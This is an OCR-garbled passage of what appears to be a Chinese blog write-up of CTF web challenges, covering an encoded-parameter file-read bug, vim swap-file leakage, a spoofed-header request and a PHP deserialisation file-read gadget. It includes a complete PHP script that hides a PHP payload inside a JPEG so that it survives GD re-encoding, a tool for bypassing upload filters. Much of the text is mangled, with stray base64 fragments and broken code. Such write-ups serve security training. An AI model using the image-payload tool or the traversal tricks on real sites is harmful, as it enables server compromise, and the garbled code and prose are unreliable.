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<9php ~ PD9waHANCi8gDQogKiBodHRwczovL2Jsb2cuY INkbiSuZXQvRmVuZ
* 0JhbkxpdVI1bi9hcnRpY2xll 2RIAGFpbHMvODAZMTY 2MDcNCIAgIER
* https://blog_csdn net/FengBanLiuYun/article/details/80616607 hdGUBIEp1bHkgNCwyMDE4DQogKiBNCmVWyecm8yX3JlcG9ydGluZyhF
* Date: July 4,2018 XOFMTCBSfCB+RVIOT 1RJQOUpOwOKDQoNCmhIYWRIcignY29udG
* VudC10eXBIOnRleHQvaHRtbDtjaGFyc2VOPXV0Zi04Jyk7DQppZighlG
error_reporting(E_ALL || ~E_NOTICE); 1zc2VOKCRIROVUWydqcGenXSkpDQoglCAgaGVhZGVYyKCASZWZyZ

XNoOJATdXJsPS4vaWskZXgucGhwP2pwZz 1UbXBaTWxGNIdYaE9hb
U41VWxSYVFINTZRVEpPZHowOScpOw0KJIGZpbGUgPSBoZXgyYm

header('content-type:text/html:charset=utf-8'); lUKGJhc2U2NFOKZWNvZGUoYmFzZTY0X2RIY29kZSgkX0dFVFsnan
if(! isset($_GET[jpgT)) BnJ10pKSk7DQplY2hviCc8dGI0bGU+Jy4kX0dFVFsnanBnJ10uJzwvd

GlObGU+JzsNCIRmaWxIID0gcHJIZ19yZXBsYWNIKCIvW15hLXpBLVo
header('Refresh:0;url=_/index php?jpg=TmpZMIF6WXhOamN5UIRa WLTkuXSsvliwiliwgJGZpbGUpOw0OKZWNobyAkZmIsZS54nPCYicj4nOw
Qk56QTJOdz09'); 0KJGZpbGUgPSBzdHJfcmVwbGFjZ SgiY 29uZminliwilSIsICRmaWxIKT
$file = hex2bin{base64 decode(base64 decode($ GET[jpg):; sNCmVjaG8gJGZpbGUudzwvYnl+JzsNCiIR0eHQgPSBiYXNINjRFZWSj
echo '<title="$_GET[jpgT].'</itle>"; b2RIKGZpbGVZ2V0X2NvbnRIbnRzKCRmaWxIKSk7TDQoNCmVjaGag
$file = preg_replace("/[*a-zA-Z0-9.]+/",", $file); IpxpbWege3J)PSdkY XRhOmItYWdILZ2dpZjtrY XNINJQsli4kdHhOLIInPjwv
echo $file."</br=" aW1nPil7DQovKgOKICogQ2FulHIvdSBmaWbkIHRoZSBmbGFnIGZpb
$file = str_replace("config","l", $file); GU/DQogKg0KICovDQoNCj8+DQo=

echo $file."</br="
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif.base64,” $txt "=></img=";
[
* Can you find the flag file?
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* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/

error_reporting(E_ALL || ~E_NOTICE);

header ('content-type:text/html;charset=utf-8");
if(! isset($_GET['jpg']))

header ('Refresh:0;url=./index.php?jpg=TmpZM1F6WXhOamN5U1RaQk56QT]0dz09");
$file = hex2bin(base64_decode(base64_decode($_GET['jpg']1)));
echo '<title>'.$ GET['jpg'].'</title>"';

preg_replace("/["a-zA-Z0-9.]1+/","", $file);

echo $file.'</br>"';
$file = str_replace("config","!", $file);
echo $file.'</br>";
$txt = base64_encode(file get contents($file));

echo "</img>";
/*
* Can you find the flag file?

*

KA HRMR T T, KBS EA —PNCSDNIE, =G HN, A HM, 4l scsEaks AR ARy, JAIH
TREMEH AT A4S R CE, RmARR. . .

XL

https://blog.csdn.net/fengbanliuyun/article/details/80913909



% vim E“-%“iEHf. swpI{HRET

2018F07504H 1 237 PR 4597

@CSDI’] L

NIFFAGERvimBIERES, ATFEEREGLSHNARE, SESHNEEAERRNEY, ASRFBHYRY, &
FrafRHEE = = EHECtrl+ Z3z88H <A vim,

BUERREEIEEXAvimiRiEss (BEiECEln. BERMESE) , a4 — " BSOS XASIRE SF—
Swpsis, BioHE 7 BRI REEXAvIinGRIERS Z sikee MIHEEAMES, BT SUEkE., HESXEINRHEHASE
=B .swpsE, MEZLER—1 A, Fli0.swosdt,

HIINSE—IR=4—".practice.txt.swp, FIREINRLG, KBETE2 N practice.ixt. swolAZHAS {4, s = R™ERY
AHESHNI A practice.txt.swn”; {&IHZEHE,

oJLUEI Is -al R ME 4 AR,

deng379@localhost: ~/Desktop$ 1s -al
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$content=trim(file_get contents($k));
if($uid==%$content)

{

echo $flag;

b

else

{

echo'hello’;
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00000000 FF DB FF EO 00 10 4A 46 49 46 00 01 01 00 00 01 W ?? JFIF

Qooopo1i0 00 01 OO OO FF DB OO0 84 00 08 06 06 07 06 05 08 77
gooopozo0 07 07 07 09 09 08 0OA OC 14 OD OC OB OB OC 19 12
goooooso 13 OF 14 1D 1A 1F 1E 1D 1A 1C 1C 20 24 2E 27 20 S
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<?php

$miniPayload = "<?php phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

die('php-gd is not installed');

if(lisset($argv[1])) {
die('php jpg_payload.php <jpg _name.jpg>');

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DatalInputStream($argv[i]);
$outStream = file get contents($argv[1l]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != OxFFD8) {
die('Incorrect SOI marker');




$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === OxDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1l], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === OXFF) {
if($dis->readByte !== 0x00) {
break;

¥
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);

} elseif($correctImage) {

$outStream = $outStreamTmp;
} else {
break;
¥
if(checkImage('payload_'.$argv[1l], $outStream)) {
die('Success!');
} else {
break;

unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;

function custom error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;




if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];

class DataInputStream {
private $binData;
private $order;
private $size;

public function _ construct($filename, $order = false, $fromString = false) {

$this->binData = '';

$this->order = $order;

if(!$fromString) {
if(!file_exists($filename) || 'is_file($filename))

die('File not exists ['.$filename.']");

$this->binData = file_get contents($filename);

} else {
$this->binData = $filename;

¥

$this->size = strlen($this->binData);

public function seek() {
return ($this->size - strlen($this->binData));

public function skip($skip) {
$this->binData = substr($this->binData, $skip);

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);

public function readShort() {

if(strlen($this->binData) < 2) {

die('End Of File');
¥
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {

$short = (ord($short[1]) << 8) + ord($short[0]);
} else {

$short = (ord($short[0]) << 8) + ord($short[1]);
¥

return $short;

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
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JES:

#* Created by PhpStorm.
* User: didi

* Date: 2019/1/13

* Time: 9:050 PM

7

ES .-":

function auth() {
$. ajax({
type: “post”,
url:“http://117.51. 158. 44/app/Auth. php”,
contentType: “application/json;charset=utf-8",
dataType: ”json”,
beforeSend: function (XMLHttpRequest) {
XMLHt tpRequest. setRequestHeader ("didictf username”, “7);
b

success: function (getdata) {
console. log(getdata) ;
if(getdata. data !=="") {
document. getElementById (" auth’ ). innerHTML = getdata. data;
}

}, error:function (error) {
console. log (error) ;
}

1)

iR kb B4 didictf_username" 1 N %S

Accept: application/json, text/javascript, */* q=0.01

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;qg=0.2
Connection: keep-alive

Content-Length: 0

Content-Type: application/json;charset=utf-8

didictf_username:

Host: 117.51.158.44

Referer: http//117.51.158.44/index.php

User-Agent: Mozilla/5.0 (Windows NT 10.0; ...) Gecko/20100101 Firefox/66.0
X-Requested-With: XMLHttpRequest

R H B AR, shigiE(E admin, S gmigME K, KIRE T —NHidk

B B2k Cookie HE MELN FHA  HEHERER
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v JSON

errivisg: success
data: SB=RI=ar IR EER ----FhRlapp/L2XID2i0Cdh.php



v IBRET (payload)
1 {"errMsg":"success","data" : "\ub@a8\u5f53 \u524d\u5F53\u5

Vi [alapp/L2XID2i0Cdh.php &2 2 i A LA

Applicationz% fil Application35 ff) 4k & : Session3s

FHEARRS, KIApplicationZSH 4 destruct()EAR 7575, WA T RES H BIPHP U7 FIAL I N 25 A — N5 S5 $path 1K &
HIW—ANfEA), A SRS, W2 SRS, IR M Congratulations

public function _ destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {

exit();

¥
$this->response($data=file_get_contents($path), 'Congratulations"');

)
exit();

AR EAR I UE, A N\ E T

private function sanitizepath($path)

{
$path = trim($path);
$path=str_replace('../"',"",$path);
$path=str_replace('..\\"'," ' ,$path);
return $path;

T4k SessionZE B it

private function get key() {
//eancrykey and flag under the folder
$this->eancrykey = file get contents('../config/key.txt");
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